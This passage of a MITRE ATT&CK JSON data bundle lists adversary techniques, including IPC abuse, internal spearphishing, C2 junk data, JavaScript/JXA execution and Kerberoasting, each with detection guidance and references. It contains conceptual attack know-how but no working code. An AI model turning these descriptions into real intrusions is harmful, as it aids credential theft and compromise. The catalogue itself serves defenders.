            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.",
            "x_mitre_defense_bypassed": [
                "Digital Certificate Validation",
                "Application control"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "created": "2020-02-12T14:08:48.689Z",
            "modified": "2020-03-28T19:34:47.546Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d",
            "description": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms.",
            "name": "Inter-Process Communication",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1559",
                    "url": "https://attack.mitre.org/techniques/T1559"
                }
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Monitor for strings in files/commands, loaded DLLs/libraries, or spawned processes that are associated with abuse of IPC mechanisms.",
            "x_mitre_permissions_required": [
                "Administrator",
                "User",
                "SYSTEM"
            ],
            "x_mitre_data_sources": [
                "Module: Module Load",
                "Process: Process Creation",
                "Script: Script Execution"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1491.001",
                    "url": "https://attack.mitre.org/techniques/T1491/001"
                },
                {
                    "source_name": "Novetta Blockbuster",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
                },
                {
                    "source_name": "Novetta Blockbuster Destructive Malware",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Internal Defacement",
            "description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)",
            "id": "attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "modified": "2020-03-29T22:57:04.784Z",
            "created": "2020-02-20T14:31:34.778Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_impact_type": [
                "Integrity"
            ],
            "x_mitre_detection": "Monitor internal and websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.",
            "x_mitre_data_sources": [
                "File: File Modification",
                "File: File Creation",
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1090.001",
                    "url": "https://attack.mitre.org/techniques/T1090/001"
                },
                {
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
                    "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
                    "source_name": "Trend Micro APT Attack Tools"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Internal Proxy",
            "description": "Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.\n\nBy using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.",
            "id": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2020-03-15T00:46:26.598Z",
            "created": "2020-03-14T23:08:20.244Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "Analyze network data for uncommon data flows between clients that should not or often do not communicate with one another. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747",
            "description": "Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)\n\nAdversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.\n\nThere have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)",
            "name": "Internal Spearphishing",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "external_id": "T1534",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1534"
                },
                {
                    "description": "Chris Taylor. (2017, October 5). When Phishing Starts from the Inside. Retrieved October 8, 2019.",
                    "url": "https://blog.trendmicro.com/phishing-starts-inside/",
                    "source_name": "Trend Micro When Phishing Starts from the Inside 2017"
                },
                {
                    "description": "THE FINANCIAL TIMES. (2019, September 2). A sobering day. Retrieved October 8, 2019.",
                    "url": "https://labs.ft.com/2013/05/a-sobering-day/?mhq5j=e6",
                    "source_name": "THE FINANCIAL TIMES LTD 2019."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "modified": "2021-04-14T14:32:14.273Z",
            "created": "2019-09-04T19:26:12.441Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux",
                "Office 365",
                "SaaS",
                "Google Workspace"
            ],
            "x_mitre_contributors": [
                "Tim MalcomVetter",
                "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)"
            ],
            "x_mitre_detection": "Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing attacks.(Citation: Trend Micro When Phishing Starts from the Inside 2017)",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1016.001",
                    "url": "https://attack.mitre.org/techniques/T1016/001"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Internet Connection Discovery",
            "description": "Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), <code>tracert</code>, and GET requests to websites.\n\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.",
            "id": "attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2021-03-25T17:03:26.632Z",
            "created": "2021-03-17T15:28:10.689Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to check Internet connectivity.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS"
            ]
        },
        {
            "created": "2020-02-10T19:49:46.752Z",
            "modified": "2020-02-10T19:52:47.724Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52",
            "description": "Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)\n\nUnlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.",
            "name": "Invalid Code Signature",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1036.001",
                    "url": "https://attack.mitre.org/techniques/T1036/001"
                },
                {
                    "source_name": "Threatexpress MetaTwin 2017",
                    "url": "https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/",
                    "description": "Vest, J. (2017, October 9). Borrowing Microsoft MetaData and Signatures to Hide Binary Payloads. Retrieved September 10, 2019."
                }
            ],
            "x_mitre_platforms": [
                "macOS",
                "Windows"
            ],
            "x_mitre_data_sources": [
                "File: File Metadata"
            ],
            "x_mitre_detection": "Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment, look for invalid signatures as well as unusual certificate characteristics and outliers.",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "created": "2020-06-23T19:12:24.924Z",
            "modified": "2021-04-27T19:21:05.521Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "type": "attack-pattern",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1059.007",
                    "url": "https://attack.mitre.org/techniques/T1059/007"
                },
                {
                    "source_name": "NodeJS",
                    "url": "https://nodejs.org/",
                    "description": "OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020."
                },
                {
                    "source_name": "JScrip May 2018",
                    "url": "https://docs.microsoft.com/windows/win32/com/translating-to-jscript",
                    "description": "Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020."
                },
                {
                    "source_name": "Microsoft JScript 2007",
                    "url": "https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript",
                    "description": "Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript \u2026. Retrieved June 23, 2020."
                },
                {
                    "source_name": "Microsoft Windows Scripts",
                    "url": "https://docs.microsoft.com/scripting/winscript/windows-script-interfaces",
                    "description": "Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020."
                },
                {
                    "source_name": "Apple About Mac Scripting 2016",
                    "url": "https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html",
                    "description": "Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021."
                },
                {
                    "source_name": "SpecterOps JXA 2020",
                    "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5",
                    "description": "Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021."
                },
                {
                    "source_name": "SentinelOne macOS Red Team",
                    "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/",
                    "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020."
                },
                {
                    "source_name": "Red Canary Silver Sparrow Feb2021",
                    "url": "https://redcanary.com/blog/clipping-silver-sparrows-wings/",
                    "description": "Tony Lambert. (2021, February 18). Clipping Silver Sparrow\u2019s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021."
                },
                {
                    "source_name": "MDSec macOS JXA and VSCode",
                    "url": "https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/",
                    "description": "Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021."
                }
            ],
            "object_marking_refs": [
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "JavaScript",
            "description": "Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple\u2019s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple\u2019s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple\u2019s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility <code>osascript</code>, they can be compiled into applications or script files via <code>osacompile</code>, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)\n\nAdversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).",
            "id": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
            "x_mitre_version": "2.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_detection": "Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nMonitor for execution of JXA through <code>osascript</code> and usage of <code>OSAScript</code> API that may be related to other suspicious behavior occurring on the system.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "Module: Module Load",
                "Script: Script Execution"
            ],
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "x_mitre_contributors": [
                "Cody Thomas, SpecterOps"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1001.001",
                    "url": "https://attack.mitre.org/techniques/T1001/001"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Junk Data",
            "description": "Adversaries may add junk data to protocols used for command and control to make detection more difficult. By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters. ",
            "id": "attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2020-03-15T00:30:25.444Z",
            "created": "2020-03-15T00:30:25.444Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0",
            "name": "Kerberoasting",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1208",
                    "url": "https://attack.mitre.org/techniques/T1208"
                },
                {
                    "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/",
                    "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
                    "source_name": "Microsoft Detecting Kerberoasting Feb 2018"
                },
                {
                    "url": "https://msdn.microsoft.com/library/ms677949.aspx",
                    "description": "Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.",
                    "source_name": "Microsoft SPN"
                },
                {
                    "url": "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx",
                    "description": "Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.",
                    "source_name": "Microsoft SetSPN"
                },
                {
                    "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.",
                    "source_name": "SANS Attacking Kerberos Nov 2014",
                    "url": "https://redsiege.com/kerberoast-slides"
                },
                {
                    "url": "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/",
                    "description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.",
                    "source_name": "Harmj0y Kerberoast Nov 2016"
                },
                {
                    "url": "https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1",
                    "description": "EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.",
                    "source_name": "Empire InvokeKerberoast Oct 2016"
                },
                {
                    "url": "https://adsecurity.org/?p=2293",
                    "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
                    "source_name": "AdSecurity Cracking Kerberos Dec 2015"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-10-20T19:30:10.297Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee",
            "description": "Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)",
            "name": "Kerberoasting",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1558.003",
                    "url": "https://attack.mitre.org/techniques/T1558/003"
                },
                {
                    "external_id": "CAPEC-509",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/509.html"
                },
                {
                    "url": "https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1",
                    "description": "EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.",
                    "source_name": "Empire InvokeKerberoast Oct 2016"
                },
                {
                    "url": "https://adsecurity.org/?p=2293",
                    "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
                    "source_name": "AdSecurity Cracking Kerberos Dec 2015"
                },
                {
                    "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/",
                    "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
                    "source_name": "Microsoft Detecting Kerberoasting Feb 2018"
                },
                {
                    "url": "https://msdn.microsoft.com/library/ms677949.aspx",
                    "description": "Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.",
                    "source_name": "Microsoft SPN"
                },
                {
                    "url": "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx",
                    "description": "Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.",
                    "source_name": "Microsoft SetSPN"
                },
                {
                    "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.",
                    "source_name": "SANS Attacking Kerberos Nov 2014",
                    "url": "https://redsiege.com/kerberoast-slides"
                },
                {
                    "url": "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/",
                    "description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.",
                    "source_name": "Harmj0y Kerberoast Nov 2016"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2020-10-20T19:30:10.687Z",
            "created": "2020-02-11T18:43:38.588Z",
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_data_sources": [
                "Active Directory: Active Directory Credential Request"
            ],
            "x_mitre_system_requirements": [
                "Valid domain account or the ability to sniff traffic within a domain"
            ],
            "x_mitre_detection": "Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: AdSecurity Cracking Kerberos Dec 2015)",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.1"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1215",
                    "url": "https://attack.mitre.org/techniques/T1215"
                },
                {
                    "source_name": "Linux Kernel Programming",
                    "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf",
                    "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018."
                },
                {
                    "url": "http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html",
                    "description": "Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018.",
                    "source_name": "Linux Kernel Module Programming Guide"
                },
                {
                    "url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html",
                    "description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.",
                    "source_name": "Volatility Phalanx2"
                },
                {
                    "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/",
                    "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.",
                    "source_name": "CrowdStrike Linux Rootkit"
                },
                {
                    "url": "https://github.com/f0rb1dd3n/Reptile",
                    "description": "Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.",
                    "source_name": "GitHub Reptile"
                },
                {
